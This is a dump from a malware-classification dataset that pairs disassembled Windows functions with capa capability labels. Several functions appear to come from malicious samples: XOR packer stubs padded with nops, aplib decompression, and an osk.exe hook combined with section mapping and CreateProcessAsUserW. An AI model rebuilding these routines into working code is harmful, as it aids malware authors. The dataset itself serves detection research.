joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ca81
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push esi
push dword [0x1001bc44]
mov esi, ecx
push 0x1001bc44
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp eax, 1
je 0x1000cb86
cmp dword [esi + 0x50], 0
je 0x1000cb86
push ebx
push ebp
push edi
lea edi, [esi + 0x90]
cmp dword [edi + 0x18], 0x10
jb 0x1000cabc
mov eax, dword [edi + 4]
jmp 0x1000cabf
lea eax, [edi + 4]
mov ebx, 0x10017c28
push ebx
push eax
call sub.msvcrt.dll_fopen
mov ebp, eax
test ebp, ebp
pop ecx
pop ecx
jne 0x1000cb0a
push 0xffffffffffffffff
push eax
lea eax, [esi + 0x1c]
push eax
mov ecx, edi
call fcn.100018ef
push 0xffffffffffffffff
push ebp
push esi
lea ecx, [esi + 0x3c]
call fcn.100018ef
cmp dword [edi + 0x18], 0x10
jb 0x1000caf8
mov eax, dword [edi + 4]
jmp 0x1000cafb
lea eax, [edi + 4]
push ebx
push eax
call sub.msvcrt.dll_fopen
mov ebp, eax
test ebp, ebp
pop ecx
pop ecx
je 0x1000cb19
push ebp
mov ecx, esi
call fcn.1000c63e
push ebp
call sub.msvcrt.dll_fclose
pop ecx
push 0x10
pop ebp
cmp dword [edi + 0x18], ebp
jb 0x1000cb26
mov eax, dword [edi + 4]
jmp 0x1000cb29
lea eax, [edi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 6
push eax
call ebx
cmp dword [esi + 0x54], ebp
jb 0x1000cb3e
mov eax, dword [esi + 0x40]
jmp 0x1000cb41
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esi + 0x54], ebp
jb 0x1000cb52
mov eax, dword [esi + 0x40]
jmp 0x1000cb55
lea eax, [esi + 0x40]
cmp dword [edi + 0x18], ebp
jb 0x1000cb5f
mov edi, dword [edi + 4]
jmp 0x1000cb62
add edi, 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp dword [esi + 0x54], ebp
jb 0x1000cb74
mov eax, dword [esi + 0x40]
jmp 0x1000cb77
lea eax, [esi + 0x40]
push 6
push eax
call ebx
pop edi
pop ebp
mov byte [esi + 0xc8], 0
pop ebx
pop esi
ret

Function at 0x1000cf99
Capabilities:
Initialize iwebbrowser2

Disassembly:
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.10006c1f
test eax, eax
je 0x1000cfb9
call fcn.10006ae2
mov eax, 0x100017
jmp 0x1000cfbc
push 0x17
pop eax
mov esi, dword [esp + 0xc]
push esi
push 0x10017d9c
push eax
push edi
push 0x10017e5c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x1000cfdb
xor al, al
jmp 0x1000d019
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + pe_nt_image_headers32]
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xc4]
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xac]
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xbc]
mov esi, dword [esi]
mov eax, dword [esi]
push edi
push esi
call dword [eax + 0xa4]
mov al, 1
pop edi
pop esi
ret 4
Function at 0x1000eb5b
Capabilities:
Create thread

Disassembly:
mov eax, 0x100128d8
call fcn.10011420
sub esp, 0x170
mov eax, dword [0x1001b0f8]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x40]
inc dword [esi + 0x60]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x3c]
cmp eax, ecx
push edi
mov dword [ebp - 0x144], eax
je 0x1000ec7d
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [eax + 4]
mov dword [ebp - 0x140], ecx
mov ebx, 0x10013588
cmp dword [eax], 2
jne 0x1000ebfe
mov ecx, dword [ebp - 0x140]
call fcn.10005242
push dword [esi + 0x60]
lea eax, [ebp - 0x1c]
push ebx
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x160]
call fcn.10001a30
mov ecx, dword [ebp - 0x140]
and dword [ebp - 4], 0
lea eax, [ebp - 0x160]
push eax
call fcn.10005ab4
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x160]
call fcn.100016a3
mov eax, dword [ebp - 0x144]
cmp dword [eax], 3
jne 0x1000ec64
mov ecx, dword [ebp - 0x140]
call fcn.10005242
push 0
call sub.msvcrt.dll_time
push eax
mov dword [esi + 0x64], eax
lea eax, [ebp - 0x30]
push ebx
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x17c]
call fcn.10001a30
mov ecx, dword [ebp - 0x140]
lea eax, [ebp - 0x17c]
push eax
mov dword [ebp - 4], 1
call fcn.10005ab4
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x17c]
call fcn.100016a3
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x140], 0x14
add eax, 0x14
cmp eax, dword [esi + 0x40]
mov dword [ebp - 0x144], eax
jne 0x1000eba3
mov ecx, dword [0x1001bb90]
xor ebx, ebx
cmp ecx, ebx
je 0x1000ec94
push dword [0x1001bb88]
call fcn.1000e423
mov edi, dword [esi + 0x3c]
jmp 0x1000ed30
mov eax, dword [edi]
dec eax
jne 0x1000ed2d
cmp dword [esi + 0x18], 0x10
mov dword [ebp - 0x140], ebx
jb 0x1000ecb6
mov ecx, dword [esi + 4]
jmp 0x1000ecb9
lea ecx, [esi + 4]
mov eax, dword [edi + 8]
cmp dword [eax + 0x18], 0x10
jb 0x1000ecc7
mov eax, dword [eax + 4]
jmp 0x1000ecca
add eax, 4
push ecx
lea ecx, [esi + 0x68]
push ecx
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x13c]
call fcn.1000d01e
lea eax, [ebp - 0x140]
push eax
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x1000da0d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x144]
push eax
mov ecx, 0x1001b16c
call fcn.10005202
push 0x7d0
push dword [ebp - 0x144]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 0x13c]
call fcn.1000cf68
add edi, 0x14
cmp edi, dword [esi + 0x40]
jne 0x1000ec9c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100112e6
leave
ret 4

Function at 0x100112e6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001b0f8]
jne 0x100112f7
test ecx, 0xffff0000
jne 0x100112f7
ret
jmp fcn.100112fc

Function at 0x10011fc0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x10011fd3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10011fcf
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x10011ff0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x1001202f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x10012025
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x10012031
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x10012015
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x8f06ef
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.008f076e
jae 0x8f06fb
xor ecx, ecx
call fcn.008f076e
jae 0x8f0725
xor eax, eax
call fcn.008f076e
jae 0x8f0736
mov al, 0x10
call fcn.008f076e
adc al, al
jae 0x8f0717
jne 0x8f0763
stosb byte es:[edi], al
jmp 0x8f06fc
call fcn.008f077a
dec ecx
loop 0x8f0742
mov eax, ebp
call fcn.008f0778
jmp 0x8f0764
lodsb al, byte [esi]
shr eax, 1
je 0x8f078a
adc ecx, 2
mov ebp, eax
jmp 0x8f0764
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.008f0778
cmp eax, 0x7d00
jae 0x8f0762
cmp eax, 0x500
jae 0x8f0763
cmp eax, 0x7f
ja 0x8f0764
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8f06fc
pop ebp
ret 8
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x1000117f
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
push 0x5c
pop edx
push 0x73
mov esi, ecx
mov word [ebp - 0x10], dx
pop ecx
push 0x79
pop eax
push 0x74
mov word [ebp - 0xc], ax
xor eax, eax
mov word [ebp - 8], ax
pop eax
push 0x65
mov word [ebp - 0x30], ax
pop eax
push 0x6d
mov word [ebp - 0x2e], ax
pop eax
push 0x33
mov word [ebp - 0x2c], ax
pop eax
push 0x32
mov word [ebp - 0x2a], ax
pop eax
push 0x77
mov word [ebp - 0x28], ax
xor eax, eax
mov word [ebp - 0xe], cx
mov word [ebp - 0xa], cx
pop ecx
push 0x6f
mov word [ebp - 0x24], ax
pop eax
mov word [ebp - 0x1e], ax
push 0x36
pop eax
mov word [ebp - 0x1a], ax
push 0x34
pop eax
mov word [ebp - 0x18], ax
xor eax, eax
mov word [ebp - 0x26], dx
mov word [ebp - 0x16], dx
mov edx, 0x7ffe0030
mov word [ebp - 0x20], cx
mov word [ebp - 0x1c], cx
mov ecx, esi
mov word [ebp - 0x14], ax
call fcn.10001b0a
lea edx, [ebp - 0x10]
call fcn.10001a58
push 0x20
pop edi
mov ecx, edi
lea eax, [ebp - 0x50]
xor edx, edx
mov byte [eax], dl
inc eax
sub ecx, 1
jne 0x1000121d
push edx
push edi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], edi
push eax
push edx
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x10001247
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x20]
shr eax, 1
test al, 1
jne 0x1000124a
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.10001a58
pop edi
pop esi
leave
ret
Function at 0x100013ad
Capabilities:
Hash data with crc32
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ecx
mov edi, 0x1000
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], edi
call fcn.100012c5
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x100014ea
mov ecx, 0x100
lea eax, [ebp - 0x138]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x100013e9
lea edx, [ebp - 0x138]
mov ecx, 0x6364
call fcn.10001255
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
push 0xf001f
lea eax, [ebp - 4]
mov dword [ebp - 0x28], esi
push eax
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ntdll.dll_NtOpenSection]
test eax, eax
js 0x100014e3
push 2
push 0x100000
push 2
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push ebx
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x100014da
mov ecx, 0x834
lea eax, [ebp - 0x970]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x10001478
push dword [ebp - 4]
mov esi, dword [ebp - 8]
lea edi, [ebp - 0x970]
mov ecx, 0x20d
rep movsd dword es:[edi], dword [esi]
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov esi, dword [ebp - 0x970]
lea eax, [ebp - 0x970]
push 0x834
push eax
push ebx
mov dword [ebp - 0x970], ebx
call dword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp esi, eax
jne 0x100014d7
mov edi, dword [ebp - 0x14]
mov ecx, 0x20d
mov dword [ebp - 0x970], esi
xor ebx, ebx
lea esi, [ebp - 0x970]
inc ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
push esi
call dword [sym.imp.ntdll.dll_NtClose]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x10001596
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap force flags

Disassembly:
mov edx, ecx
test edx, edx
je 0x1000162f
mov eax, dword fs:[0x18]
push esi
mov eax, dword [eax + 0x30]
mov esi, dword [eax + 0x10]
mov dword [edx], 0x44
mov eax, dword [esi + 0x84]
mov dword [edx + 4], eax
mov eax, dword [esi + 0x7c]
mov dword [edx + 8], eax
mov eax, dword [esi + 0x74]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0x4c]
mov dword [edx + 0x10], eax
mov eax, dword [esi + 0x50]
mov dword [edx + 0x14], eax
mov eax, dword [esi + 0x54]
mov dword [edx + 0x18], eax
mov eax, dword [esi + 0x58]
mov dword [edx + 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [edx + 0x20], eax
mov eax, dword [esi + 0x60]
mov dword [edx + 0x24], eax
mov eax, dword [esi + 0x64]
mov dword [edx + 0x28], eax
mov ecx, dword [esi + 0x68]
mov dword [edx + 0x2c], ecx
mov ax, word [esi + 0x6c]
mov word [edx + 0x30], ax
mov ax, word [esi + 0x88]
mov word [edx + 0x32], ax
mov eax, dword [esi + 0x8c]
mov dword [edx + 0x34], eax
test ecx, 0x300
je 0x1000162e
mov eax, dword [esi + 0x18]
mov dword [edx + 0x38], eax
mov eax, dword [esi + 0x1c]
mov dword [edx + 0x3c], eax
mov eax, dword [esi + 0x20]
mov dword [edx + 0x40], eax
pop esi
ret
Function at 0x10001630
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68c
push ebx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 0x278]
push 0x10
xor ecx, ecx
mov dword [ebp - 0x10], edi
pop ebx
mov esi, edx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ebx
mov edx, 0x20a
mov dword [ebp - 8], ecx
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x1000165c
lea ecx, [ebp - 0x278]
call fcn.1000117f
push 0x44
pop edx
mov ecx, edx
lea eax, [ebp - 0x68]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x10001677
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], edx
call fcn.10001596
test edi, edi
je 0x1000172b
test esi, esi
je 0x1000172b
lea ecx, [esi + 0x1000]
call fcn.10001153
mov edi, eax
test edi, edi
je 0x100016c4
and dword [ebp - 0xc], 0
push esi
push dword [ebp - 0x10]
mov dword [ebp - 4], 1
push edi
call fcn.10002820
add esp, 0xc
mov ecx, dword [ebp - 8]
xor edx, edx
push 5
pop eax
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x3c], 1
mov byte [eax], dl
inc eax
sub ebx, 1
jne 0x100016da
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x278]
push eax
push edx
push dword [ebp - 0xc]
push edx
push edx
push edx
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ebx, eax
test ebx, ebx
je 0x10001717
push dword [ebp - 0x20]
mov esi, dword [sym.imp.ntdll.dll_NtClose]
call esi
push dword [ebp - 0x1c]
call esi
cmp dword [ebp - 4], 0
je 0x10001724
mov ecx, edi
call fcn.10001169
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
mov ecx, 0x410
lea eax, [ebp - 0x688]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x10001736
lea edx, [ebp - 0x278]
lea ecx, [ebp - 0x688]
call fcn.10001b0a
mov edx, 0x10003158
call fcn.10001a58
mov edx, 0x1000315c
lea ecx, [ebp - 0x688]
call fcn.10001a58
mov edx, 0x10003160
lea ecx, [ebp - 0x688]
call fcn.10001a58
mov edx, 0x10003164
lea ecx, [ebp - 0x688]
call fcn.10001a58
xor edx, edx
lea ecx, [ebp - 0x688]
mov edi, edx
mov dword [ebp - 4], edx
jmp 0x100016c9

Function at 0x10001ba5
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
mov ecx, 0x10007040
mov edx, 0x834
push edi
mov eax, ecx
xor ebx, ebx
mov byte [eax], bl
inc eax
sub edx, 1
jne 0x10001bbd
call fcn.100013ad
mov edi, eax
test edi, edi
je 0x10001be0
mov ebx, 0x1000704c
mov ecx, ebx
call fcn.10001b3b
add eax, eax
jmp 0x10001be2
mov eax, ebx
mov edx, eax
mov ecx, ebx
call fcn.10001630
neg eax
sbb esi, esi
neg esi
test edi, edi
je 0x10001bff
mov ecx, 0x1000766a
call fcn.100014f1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10001c1f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push edi
mov edi, ecx
mov dword [ebp - 4], 1
mov edx, 0x20a
lea eax, [ebp - 0x210]
xor ebx, ebx
mov byte [eax], bl
inc eax
sub edx, 1
jne 0x10001c40
push 0x104
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x10001cce
push esi
lea ecx, [ebp - 0x210]
call fcn.10001a1b
mov esi, eax
test esi, esi
je 0x10001ccd
mov edx, str.osk.exe
mov ecx, esi
call fcn.10001a8d
test eax, eax
jne 0x10001cbb
push 0x10003180
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001cb4
push ebx
push edi
push eax
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov esi, eax
test esi, esi
je 0x10001cb4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp + 8]
test edx, edx
je 0x10001cd2
mov ecx, esi
call fcn.10001a8d
test eax, eax
je 0x10001ce4
pop esi
pop edi
pop ebx
leave
ret
lea edx, [ebp - 4]
call fcn.1000190f
test eax, eax
je 0x10001ccd
cmp dword [ebp - 4], 2
jne 0x10001ccd
call fcn.10001ba5
int3

Function at 0x10001d55
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, eax
call section..text
add esp, 0xc
test eax, eax
je 0x10001d8f
cmp dword [ebp - 4], 0
jbe 0x10001d8f
lea ecx, [ebp - 0x414]
call fcn.10002644
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]